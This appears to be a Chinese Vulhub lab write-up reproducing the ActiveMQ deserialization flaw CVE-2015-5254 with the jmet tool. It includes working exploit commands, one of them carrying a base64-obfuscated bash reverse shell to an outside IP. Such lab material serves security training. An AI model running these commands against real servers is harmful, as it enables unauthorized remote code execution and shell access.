ActiveMQ反序列化漏洞(CVE-2015-5254)
0x01漏洞概述
ActiveMQ Web控制台分为三个应用程序,admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是存储文件的界面;管理员和 API 需要先登录才能使用,文件服务器不需要登录。
fileserver 是一个 RESTful API 接口。我们可以通过HTTP请求(如GET,PUT和DELETE)读取和写入存储在其中的文件。设计目的是补偿消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:
(1)其使用率不高
(2)文件操作容易出现漏洞
因此,ActiveMQ默认在5.12.x—5.13.x中关闭了文件服务器应用程序(您可以在conf/jetty.xml中打开它);在 5.14.0 之后,文件服务器应用程序将被完全删除。在测试过程中,要注意ActiveMQ的版本,防止无用的费力。
0x02漏洞环境
1、打开漏洞环境
docker-compose up -d
2、访问漏洞
监听8161和61616两个端口,61616端口是工作端口,消息在这个端口进行传递;8161是网络管理页面端口访问。
http://your-ip:8161
账号:admin
密码:admin
3、复现完成后,删除漏洞环境
docker-compose down
0x03复现过程
1、漏洞利用工具下载地址:
Jmet下载地址
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
2、在攻击机器上下载jmet文件,在同级目录下新建external文件夹
执行下列代码:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
执行结果如下:
执行成功之后,此时会给目标ActiveMQ添加一个名为event的队列,看到该列的所有消息,访问这个网站:
http://your-ip:8161/admin/browse.jsp?JMSDestination=event
3、在kali中执行
sudo docker-compose exec activemq bash
然后执行
ls /tmp
4、将命令替换成弹shell语句再利用
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616
执行结果如下:
利用靶机访问该路径:
http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=event
结果如下:
再次执行:
ls /tmp
分类:
Vulhub靶场
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义